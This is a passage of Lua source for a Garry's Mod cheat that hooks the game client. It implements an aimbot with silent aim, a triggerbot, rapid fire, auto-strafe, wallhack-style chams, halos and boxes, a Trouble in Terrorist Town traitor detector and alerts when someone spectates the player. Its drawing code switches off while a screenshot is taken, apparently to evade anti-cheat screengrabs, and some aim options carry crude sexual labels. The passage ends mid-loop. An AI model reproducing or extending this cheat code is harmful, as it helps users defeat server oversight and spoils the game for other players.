  1917. MS.CHOutterPos4 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, 0 )
  1918. MS.CHOutterPos5 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *30, 0 )
  1919. MS.CHOutterPos6 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, 0 )
  1920. MS.CHOutterPos7 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *30, 0 )
  1921. MS.CHOutterPos8 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, 0 )
  1922. MS.CHMidPos1 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *10, 0 )
  1923. MS.CHMidPos2 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, 0 )
  1924. MS.CHMidPos3 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, 0 )
  1925. MS.CHMidPos4 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, 0 )
  1926. MS.CHMidPos5 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, 0 )
  1927. MS.CHMidPos6 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, 0 )
  1928. MS.CHMidPos7 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, 0 )
  1929. MS.CHMidPos8 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, 0 )
  1930. MS.CHInnerPos1 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed ) *0, 0 )
  1931. MS.CHInnerPos2 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed ) *10, 0 )
  1932. MS.CHInnerPos3 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *0, 0 )
  1933. MS.CHInnerPos4 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, 0 )
  1934. MS.CHInnerPos5 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *0, 0 )
  1935. MS.CHInnerPos6 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, 0 )
  1936. MS.CHInnerPos7 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *0, 0 )
  1937. MS.CHInnerPos8 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, 0 )
  1938. end
  1939.  
  1940. if( MS.Settings.Visuals.Text.velocity or MS.Settings.Visuals.Text.topvelocity and LocalPlayer():Health() >0 ) then
  1941. MS.CurrentSpeed = math.Round( LocalPlayer():GetVelocity():Length() )
  1942. end
  1943.  
  1944. if( #player.GetAll() <2 and #MS.Isolated >0 ) then
  1945. MS.Isolated = {}
  1946. end
  1947.  
  1948. if( MS.Settings.Visuals.traitor and gmod.GetGamemode().Name == "Trouble in Terrorist Town" ) then
  1949. for k,v in pairs( player.GetAll() ) do
  1950. if!( v !=LocalPlayer() and v.GetRole and v:GetRole() !=ROLE_DETECTIVE and v:GetActiveWeapon() and v:GetActiveWeapon().CanBuy and table.HasValue( v:GetActiveWeapon().CanBuy, ROLE_TRAITOR ) and #v:GetActiveWeapon().CanBuy == 1 and !table.HasValue( MS.Traitors, v ) and !table.HasValue( MS.SpawnedWithTraitorWeapons, v:GetActiveWeapon():GetPrintName() ) ) then continue end
  1951. if( MS.DetectingTs ) then
  1952. table.insert( MS.Traitors, v )
  1953. chat.AddText( MS.Colours.green, string.upper( v:Nick() ) .. " PULLED OUT TRAITOR WEAPON " .. string.upper( v:GetActiveWeapon():GetPrintName() ) )
  1954. RCC( "play", "ambient/alarms/klaxon1.wav" )
  1955. timer.Simple( 0.5, function() RCC( "play", "ambient/alarms/klaxon1.wav" ) end )
  1956. timer.Simple( 1, function() RCC( "play", "ambient/alarms/klaxon1.wav" ) end )
  1957. else
  1958. table.insert( MS.SpawnedWithTraitorWeapons, v:GetActiveWeapon():GetPrintName() )
  1959. chat.AddText( MS.Colours.green, string.upper( v:Nick() ) .. " PULLED OUT TRAITOR WEAPON " .. string.upper( v:GetActiveWeapon():GetPrintName() ) .. " BEFORE TRAITORS WERE PICKED, ADDED TO IGNORE LIST" )
  1960. end
  1961. end
  1962. for k,v in pairs( MS.Traitors ) do
  1963. if( team.GetName( v:Team() ) != "Spectators" ) then continue end
  1964. table.remove( MS.Traitors, k )
  1965. end
  1966. end
  1967.  
  1968. if( MS.Cannoning and input.IsKeyDown( 36 ) ) then
  1969. RCC( "gmod_cleanup" )
  1970. end
  1971.  
  1972. if( MS.SetNoVis ) then
  1973. for k,v in pairs( MS.PropChamClasses ) do
  1974. for k2, v2 in pairs( ents.FindByClass( v ) ) do
  1975. v2:SetNoDraw( true )
  1976. v2.NoDraw = true
  1977. end
  1978. end
  1979. MS.SetNoVis = false
  1980. elseif( MS.ResetVis ) then
  1981. for k,v in pairs( ents.GetAll() ) do
  1982. v:SetNoDraw( false )
  1983. v.NoDraw = nil
  1984. end
  1985. MS.ResetVis = false
  1986. end
  1987.  
  1988. for k,v in pairs( player.GetAll() ) do
  1989. if( v:GetObserverTarget() and v != LocalPlayer() and v:GetObserverTarget() == LocalPlayer() and !table.HasValue( MS.Spectators, v ) ) then
  1990. RCC( "play", "vo/announcer_alert.wav" )
  1991. chat.AddText( MS.Colours.blue, v:Nick(), MS.Colours.red, " Started Spectating you!" )
  1992. table.insert( MS.Spectators, v )
  1993. end
  1994. end
  1995.  
  1996. for k,v in pairs( MS.Spectators ) do
  1997. if( !IsValid( v ) ) then table.remove( MS.Spectators, k ) continue end
  1998. if( !v:GetObserverTarget() or ( v:GetObserverTarget() and v:GetObserverTarget() != LocalPlayer() ) ) then
  1999. chat.AddText( MS.Colours.blue, v:Nick(), MS.Colours.red, " stopped spectating you." )
  2000. RCC( "play", "bot/clear3.wav" )
  2001. table.remove( MS.Spectators, k )
  2002. end
  2003. end
  2004.  
  2005. if( MS.Settings.Visuals.playerleader or MS.Settings.Visuals.propleading ) then
  2006. for k,v in pairs( MS.Props ) do
  2007. local RealProp = ents.GetByIndex( k )
  2008. if( !IsValid( RealProp ) or RealProp:GetVelocity():Length() <1000 )then
  2009. MS.Props[ k ]:Remove()
  2010. MS.Props[ k ] = nil
  2011. else
  2012. local PpDistance
  2013. if( IsValid( LocalPlayer():GetEyeTrace().Entity ) and ( LocalPlayer():GetEyeTrace().Entity:GetClass() == "prop_physics" ) ) then
  2014. PpDistance = LocalPlayer():GetEyeTrace().Entity:GetPos():Distance( RealProp:GetPos() )
  2015. elseif RealProp:GetClass() == "prop_physics" then
  2016. PpDistance = 6000
  2017. else
  2018. PpDistance = LocalPlayer():GetShootPos():Distance( RealProp:GetPos() )
  2019. end
  2020. local trace = util.TraceLine( { start = RealProp:GetPos(), endpos = RealProp:GetPos() + RealProp:GetVelocity() * ( PpDistance / 13000 ), filter = { RealProp, FakeProp }, mask = MASK_SHOT } )
  2021. MS.Props[ k ]:SetPos( trace.HitPos )
  2022. MS.Props[ k ]:SetAngles( RealProp:GetAngles() )
  2023. MS.Props[ k ]:SetColor( MS.Colours.PropChamsColour )
  2024. end
  2025. end
  2026. end
  2027. end
  2028. HKA( "Think", "Think", Think )
  2029.  
  2030. local function AimMove( cmd )
  2031. if( !MS.Settings.Aimbot.enabled or IsInSpawn( LocalPlayer():GetPos() ) ) then return end
  2032.  
  2033. if( !IsValid( MS.TargetPly ) ) then
  2034. if( MS.Settings.Aimbot.silent and MS.SnapBack2 and GetSuitableTarget() == nil ) then
  2035. cmd:SetViewAngles( MS.SilentAimAngle )
  2036. MS.UpdateSilentAngle = true
  2037. MS.SnapBack2 = false
  2038. end
  2039. if( MS.NextSnap < CurTime() ) then
  2040. MS.TargetPly = GetSuitableTarget()
  2041. end
  2042. end
  2043.  
  2044. if( IsValid( MS.TargetPly ) and !IsVisible( MS.TargetPly ) ) then
  2045. if( MS.Settings.Aimbot.silent ) then
  2046. MS.UpdateSilentAngle = true
  2047. MS.SnapBack = true
  2048. MS.SnapBack2 = true
  2049. end
  2050. if( MS.NextSnap < CurTime() ) then
  2051. MS.TargetPly = GetSuitableTarget()
  2052. end
  2053. end
  2054.  
  2055. if( IsValid( MS.TargetPly ) )then
  2056. if( MS.TargetPly:Health() <=0 ) then
  2057. if( MS.Settings.Aimbot.silent ) then
  2058. MS.SilentAimAngle.p = math.NormalizeAngle( MS.SilentAimAngle.p )
  2059. MS.SilentAimAngle.y = math.NormalizeAngle( MS.SilentAimAngle.y )
  2060. if( MS.SnapBack ) then
  2061. cmd:SetViewAngles( MS.SilentAimAngle )
  2062. MS.UpdateSilentAngle = true
  2063. MS.SnapBack = false
  2064. MS.SnapBack2 = true
  2065. end
  2066. end
  2067. if( MS.NextSnap < CurTime() ) then
  2068. MS.TargetPly = GetSuitableTarget()
  2069. end
  2070. end
  2071.  
  2072. if( MS.TargetPly and MS.TargetPly:Health() >0 ) then
  2073. if( MS.UpdateSilentAngle ) then
  2074. MS.SilentAimAngle = LocalPlayer():EyeAngles()
  2075. MS.UpdateSilentAngle = false
  2076. end
  2077. local LEA = LocalPlayer():EyeAngles()
  2078. local AimPos
  2079. local AimAngle
  2080.  
  2081. if( MS.Settings.Aimbot.AimFor == "POW RIGHT IN THE KISSER" ) then
  2082. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_Head1" )
  2083. elseif( MS.Settings.Aimbot.AimFor == "Nipples" ) then
  2084. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_Spine2" )
  2085. elseif( MS.Settings.Aimbot.AimFor == "RIGHT IN THE PUSSY" ) then
  2086. MS.AimBone = MS.TargetPly:LookupBone( "valvebiped.bip01_pelvis" )
  2087. elseif( MS.Settings.Aimbot.AimFor == "Left Kneecap" ) then
  2088. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_L_Calf" )
  2089. elseif( MS.Settings.Aimbot.AimFor == "Right Kneecap" ) then
  2090. MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_R_Calf" )
  2091. end
  2092.  
  2093. if( MS.AimBone ) then
  2094. AimPos = MS.TargetPly:GetBonePosition( MS.AimBone ) - LocalPlayer():GetShootPos()
  2095. elseif( MS.TargetPly.GetShootPos ) then
  2096. AimPos = ( MS.TargetPly:GetShootPos() - Vector( 0, 0, 20 ) ) - LocalPlayer():GetShootPos()
  2097. elseif( MS.TargetPly:IsNPC() ) then
  2098. AimPos = ( MS.TargetPly:GetPos() ) - LocalPlayer():GetShootPos()
  2099. else
  2100. AimPos = ( MS.TargetPly:GetPos() - Vector( 0, 0, 40 ) ) - LocalPlayer():GetShootPos()
  2101. end
  2102.  
  2103. AimPos = AimPos + ( ( MS.TargetPly:GetVelocity():GetNormal() *0.00672724 ) - ( LocalPlayer():GetVelocity():GetNormal() *0.0087775 ) )
  2104.  
  2105. AimPos = AimPos:Angle()
  2106.  
  2107. if( MS.Settings.Aimbot.aimsmoothon ) then
  2108. LEA.p = math.ApproachAngle( LEA.p, AimPos.p, MS.Settings.Aimbot.aimsmooth /20 )
  2109. LEA.y = math.ApproachAngle( LEA.y, AimPos.y, MS.Settings.Aimbot.aimsmooth /20 )
  2110. else
  2111. LEA = AimPos
  2112. end
  2113.  
  2114. LEA.p = math.NormalizeAngle( LEA.p )
  2115. LEA.y = math.NormalizeAngle( LEA.y )
  2116.  
  2117. cmd:SetViewAngles( LEA )
  2118.  
  2119. MS.NextSnap = CurTime() +MS.Settings.Aimbot.snapwait
  2120.  
  2121. if( MS.Settings.Aimbot.silent ) then
  2122. if( MS.SilentAimPingAdjust >MS.Settings.Aimbot.snapwait ) then
  2123. MS.NextSnap = CurTime() +MS.SilentAimPingAdjust
  2124. end
  2125. if( MS.SilentAimPingAdjust +MS.Settings.Aimbot.snapwait <0.05 ) then
  2126. MS.NextSnap = CurTime() +0.05
  2127. end
  2128. end
  2129. end
  2130. end
  2131. end
  2132. HKA( "CreateMove", "AimMove", AimMove )
  2133.  
  2134. local function SpamMove( c )
  2135.  
  2136. if( MS.Settings.TriggerBot.rapidfire and LocalPlayer():KeyDown( 1 ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():GetActiveWeapon():GetClass() != "weapon_physgun" ) then
  2137. c:RemoveKey( 1 )
  2138. end
  2139.  
  2140. if( MS.RopeSpamming ) then
  2141. c:SetViewAngles( Angle( math.Rand( -45, 10 ), math.Rand( -360, 360 ), 0 ) )
  2142. if( LocalPlayer():KeyDown( 2048 ) ) then
  2143. c:RemoveKey( 2048 )
  2144. end
  2145. end
  2146.  
  2147. if( MS.TorchSpamming ) then
  2148. RCC( "impulse", "100" )
  2149. elseif( MS.TorchShutoffTimer < CurTime() and LocalPlayer():FlashlightIsOn() ) then
  2150. RCC( "impulse", "100" )
  2151. LogMsg( "DEACTIVATING TORCH" )
  2152. MS.TorchShutoffTimer = CurTime() +0.15 + ( LocalPlayer():Ping() /500 )
  2153. end
  2154.  
  2155. if( MS.Settings.AutoStrafe and !LocalPlayer():OnGround() and LocalPlayer():GetMoveType() == MOVETYPE_WALK ) then
  2156. if c:GetMouseX() <0 then
  2157. c:SetSideMove( -100 )
  2158. elseif c:GetMouseX() >0 then
  2159. c:SetSideMove( 100 )
  2160. end
  2161. end
  2162.  
  2163. if( MS.Settings.TriggerBot.enabled ) then
  2164. local DiffX, DiffY
  2165. if( MS.TargetPly ) then
  2166. DiffX, DiffY = GetFOV( MS.TargetPly )
  2167. end
  2168. if( ( MS.TargetPly and ( DiffX <3 and DiffY <3 ) ) or ( LocalPlayer():GetEyeTrace().Entity != LocalPlayer() and !IsInSpawn( LocalPlayer():GetEyeTrace().Entity:GetPos() ) and LocalPlayer():GetEyeTrace().Entity:Health() >0 and IsValid( LocalPlayer():GetActiveWeapon() ) and !table.HasValue( MS.TriggerbotBlacklist, LocalPlayer():GetActiveWeapon():GetClass() ) and ( ( LocalPlayer():GetEyeTrace().Entity:IsPlayer() and !LocalPlayer():GetEyeTrace().Entity:GetObserverTarget() and !table.HasValue( MS.Friends, LocalPlayer():GetEyeTrace().Entity ) and ( ( MS.Settings.Aimbot.ignorefriends and LocalPlayer():GetEyeTrace().Entity:GetFriendStatus() != "friend" ) or !MS.Settings.Aimbot.ignorefriends ) ) or ( MS.Settings.Aimbot.targetnpcs and LocalPlayer():GetEyeTrace().Entity:IsNPC() ) ) and ( ( MS.Settings.TriggerBot.onlyaim and MS.Settings.Aimbot.enabled ) or !MS.Settings.TriggerBot.onlyaim ) ) ) then
  2169. if( !MS.IsFiring ) then
  2170. c:SetButtons( bit.bor( c:GetButtons(), IN_ATTACK ) )
  2171. MS.IsFiring = true
  2172. else
  2173. c:SetButtons( bit.band( c:GetButtons(), bit.bnot( IN_ATTACK ) ) )
  2174. MS.IsFiring = false
  2175. end
  2176. end
  2177. end
  2178. end
  2179. HKA( "CreateMove", "SpamMove", SpamMove )
  2180.  
  2181. //entitylock
  2182. local function DrawPhysgunBeam( ply, physgun, enabled, target, bone, hitpos )
  2183. if( !IsValid( target ) or ply != LocalPlayer() or MS.EntityLock == target ) then return end
  2184. MS.EntityLock = target
  2185. end
  2186. HKA( "DrawPhysgunBeam", "DoPhysBeamShit", DrawPhysgunBeam )
  2187.  
  2188. local function MSHUDPaint()
  2189. if( MS.ScreenGrab ) then return end
  2190.  
  2191. cam.Start3D()
  2192. cam.IgnoreZ( true )
  2193. for k,v in pairs( player.GetAll() ) do
  2194. if( !IsValid( v ) or v == LocalPlayer() or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( team.GetName( v:Team() ) == "Spectator" ) and ( gmod:GetGamemode().Name == "Propkill v2.6" ) or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2195.  
  2196. local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2197. local pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() )/100 ) ):ToScreen()
  2198. local Col = MS.Colours.Col
  2199. if( MS.Settings.Visuals.teamcolours ) then
  2200. Col = team.GetColor( v:Team() )
  2201. end
  2202. if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2203. Col = MS.Colours.traitorred
  2204. end
  2205.  
  2206. if( MS.Settings.Visuals.boxes ) then
  2207. render.DrawWireframeBox( v:GetPos(), v:GetAngles(), v:OBBMins(), v:OBBMaxs(), Col, true )
  2208. end
  2209.  
  2210. if( MS.Settings.Visuals.headsmashball and IsValid( MS.EntityLock ) ) then
  2211. local RadianConv = 180 / math.pi
  2212. local AimEntPos = v:GetPos() + Vector( 0, 0, 70 )
  2213. local OwnerPos = LocalPlayer():GetPos() + Vector( 0, 0, 70 )
  2214. local PlayerTargetDist = math.Clamp( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /30 , 20, 500 )
  2215. local SinFunc = math.sin( math.rad( 20 ) )*OwnerPos:Distance( AimEntPos )
  2216. local CosFunc = math.cos( math.rad( 20 ) )*OwnerPos:Distance( AimEntPos )
  2217. local Bearing2 = WorldToLocal( AimEntPos, Angle( 0, 0, 0 ), OwnerPos, Angle( 0, 0, 0 ) )
  2218. local Bearing = ( RadianConv *-math.atan2( Bearing2.y, Bearing2.x ) ) *-1
  2219. local Vec2 = Vector( CosFunc, 0, 0 )
  2220. Vec2:Rotate( Angle( 0, Bearing, 0 ) )
  2221. local OptimumPos = OwnerPos + Vector( Vec2.x, Vec2.y, SinFunc )
  2222.  
  2223. if( IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" )then
  2224. local PDistance = MS.EntityLock:LocalToWorld( MS.EntityLock:OBBCenter() ):Distance( OptimumPos )/2
  2225. MS.Colours.headsmashballcol = Color( math.Clamp( PDistance, 0, 255 ), ( math.Clamp( PDistance, 0, 255 ) *-1 ) +255, 0, 255 )
  2226. render.SetMaterial( Material( "color" ) )
  2227. render.DrawSphere( OptimumPos, PlayerTargetDist, 20, 20, MS.Colours.headsmashballcol )
  2228. end
  2229. end
  2230. end
  2231.  
  2232. if( MS.Settings.Visuals.playerchams ) then
  2233. render.SetBlend( 1 )
  2234. render.MaterialOverride( Material( "models/debug/debugwhite" ) )
  2235. render.SuppressEngineLighting( true )
  2236. if( MS.Settings.Visuals.playersuppressenginelighting ) then
  2237. render.SuppressEngineLighting( false )
  2238. end
  2239. for k,v in pairs( player.GetAll() ) do
  2240. if( v:Health() <=0 or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or( gmod:GetGamemode().Name == "Propkill v2.6" and team.GetName( v:Team() ) == "Spectator" ) or ( ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" ) and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2241. local Col = MS.Colours.Col
  2242.  
  2243. if( MS.Settings.Visuals.teamcolours ) then
  2244. Col = team.GetColor( v:Team() )
  2245. end
  2246.  
  2247. if( table.HasValue( MS.Traitors, v ) ) then
  2248. Col = MS.Colours.traitorred
  2249. end
  2250.  
  2251. if( MS.Settings.Visuals.weaponchams and IsValid( v:GetActiveWeapon() ) ) then
  2252. render.SetColorModulation( ( 255 -Col.r )/255, ( 255 -Col.g )/255, ( 255 -Col.b )/255 )
  2253. v:GetActiveWeapon():DrawModel()
  2254. end
  2255.  
  2256. render.SetColorModulation( Col.r /255, Col.g /255, Col.b /255 )
  2257. v:DrawModel()
  2258. end
  2259. render.SuppressEngineLighting( false )
  2260. end
  2261. cam.IgnoreZ( false )
  2262. cam.End3D()
  2263.  
  2264. if( MS.Settings.Visuals.Text.velocity ) then
  2265. draw.SimpleTextOutlined( MS.CurrentSpeed, "DermaLarge", ScrW() /2, ScrH() /9, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2266. end
  2267.  
  2268. if( MS.Settings.Visuals.Text.topvelocity ) then
  2269. if MS.CurrentSpeed > MS.TopSpeed then
  2270. MS.TopSpeed = MS.CurrentSpeed
  2271. end
  2272. draw.SimpleTextOutlined( MS.TopSpeed, "DermaLarge", ScrW() /2, ScrH() /7, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2273. end
  2274.  
  2275. if( MS.Settings.Visuals.Text.modelnames ) then
  2276. if IsValid( LocalPlayer():GetEyeTrace().Entity ) then
  2277. if( LocalPlayer():GetEyeTrace().Entity:GetClass() == "prop_physics" ) or ( LocalPlayer():GetEyeTrace().Entity:GetClass() == "gmod_button" ) then
  2278. draw.SimpleTextOutlined( string.upper( LocalPlayer():GetEyeTrace().Entity:GetModel() ), "DermaLarge", ScrW() / 2 - 20, ScrH() - 100, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2279. end
  2280. end
  2281. end
  2282.  
  2283. if( MS.Settings.Visuals.playerleading or MS.Settings.Visuals.propleading ) then
  2284. MS.LeadingTable = {}
  2285. if( MS.Settings.Visuals.playerleading ) then
  2286. MS.LeadingTable = table.Copy( player.GetAll() )
  2287. end
  2288. if( MS.Settings.Visuals.propleading ) then
  2289. MS.LeadingTable = table.Add( MS.LeadingTable, ents.FindByClass( "prop_physics" ) )
  2290. end
  2291. for k,v in pairs( MS.LeadingTable ) do
  2292. if( v == LocalPlayer() ) then continue end
  2293. if( v:GetVelocity():Length() >1000 ) then
  2294. local trace = util.TraceLine( { start = v:GetPos(), endpos = v:GetPos() + v:GetVelocity()*999999, filter = v, trace = MASK_SHOT } )
  2295. local StartPos = ( v:GetPos() ):ToScreen()
  2296. local EndPos = ( trace.HitPos ):ToScreen()
  2297. local Col = MS.Colours.PropChamsColour
  2298. if( v:IsPlayer() ) then
  2299. Col = MS.Colours.Col
  2300. if( MS.Settings.Visuals.teamcolours ) then
  2301. Col = team.GetColor( v:Team() )
  2302. end
  2303. end
  2304.  
  2305. surface.SetDrawColor( Col.r, Col.g, Col.b )
  2306. surface.DrawLine( StartPos.x, StartPos.y, EndPos.x, EndPos.y )
  2307. surface.DrawLine( EndPos.x - 15, EndPos.y, EndPos.x + 15, EndPos.y )
  2308. surface.DrawLine( EndPos.x, EndPos.y - 15, EndPos.x, EndPos.y + 15 )
  2309. if( !MS.Props[ v:EntIndex() ] and !v:IsPlayer() ) then
  2310. MS.Props[ v:EntIndex() ] = ents.CreateClientProp( v:GetModel() )
  2311. end
  2312. end
  2313. end
  2314. end
  2315. if( IsValid( LocalPlayer():GetViewModel() ) ) then
  2316. LocalPlayer():GetViewModel():SetNoDraw( MS.Settings.Visuals.nogunz )
  2317. end
  2318. end
  2319. HKA( "HUDPaint", "MSHUDPaint", MSHUDPaint )
  2320.  
  2321. local function RenderOrder()
  2322. if( MS.ScreenGrab ) then return end
  2323.  
  2324. if( MS.Settings.Visuals.halos ) then
  2325. for k,v in pairs( player.GetAll() ) do
  2326. if( ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or v:Health() <=0 or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) > 1800 or MS.Settings.Visuals.thirdperson and v:GetShootPos():Distance( CozIBackTracedIt.HitPos + LocalPlayer():GetForward() *20 ) > 1800 ) ) then continue end
  2327.  
  2328. local Width = 4
  2329. local Col = MS.Colours.Col
  2330.  
  2331. if( MS.Settings.Visuals.haloselection == 1 ) then --team colour
  2332. Col = team.GetColor( v:Team() )
  2333. elseif( MS.Settings.Visuals.haloselection == 2 ) then --health
  2334. Col = Color( ( math.Clamp( v:Health() *2.5, 0, 255 ) *-1 ) +255, math.Clamp( v:Health() *2.5, 0, 255 ), 0 )
  2335. elseif( MS.Settings.Visuals.haloselection == 4 )then -- RAINBOW
  2336. Col = HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 )
  2337. end
  2338.  
  2339. if( table.HasValue( MS.Traitors, v ) ) then
  2340. Width = 15
  2341. Col = MS.Colours.traitorred
  2342. end
  2343.  
  2344. halo.Add( { v }, Col, Width, Width, 1, true, true )
  2345.  
  2346. if( MS.Settings.Visuals.haloselection != 2 ) then
  2347. Col = InvertColour( Col )
  2348. end
  2349. halo.Add( { v:GetActiveWeapon() }, Col, Width, Width, 1, true, true )
  2350. end
  2351. end
  2352.  
  2353. if( MS.Settings.Visuals.Text.on ) then
  2354. for k,v in pairs( ents.GetAll() ) do
  2355. if( !IsValid( v ) or !table.HasValue( MS.Settings.Visuals.customents, v:GetClass() ) ) then continue end
  2356. draw.SimpleTextOutlined( string.upper( v:GetClass() ), "ass", v:GetPos():ToScreen().x, v:GetPos():ToScreen().y, MS.Colours.black, 1, 1, 1, MS.Colours.red )
  2357. end
  2358. end
  2359.  
  2360. cam.Start3D()
  2361. cam.IgnoreZ( true )
  2362. for k,v in pairs( player.GetAll() ) do-- separate loop for the beams so they aren't affected by IsOutOfFOV
  2363. if( !IsValid( v ) or v == LocalPlayer() or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) ) then continue end
  2364. local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2365. local Col = MS.Colours.Col
  2366. if( MS.Settings.Visuals.teamcolours ) then
  2367. Col = team.GetColor( v:Team() )
  2368. end
  2369. if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2370. Col = MS.Colours.traitorred
  2371. end
  2372.  
  2373. if( #MS.Tracked >0 ) then
  2374. MS.Start = LocalPlayer():GetShootPos() + LocalPlayer():GetAimVector() * 150 + Vector( 0, 0, 50 )
  2375.  
  2376. for k,v in pairs( MS.Tracked ) do
  2377. if( !IsValid( v ) ) then table.remove( MS.Tracked, k ) continue end
  2378. if( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) or v == LocalPlayer() or v:Health() <=0 or team.GetName( v:Team() ) == "Spectators" ) then continue end
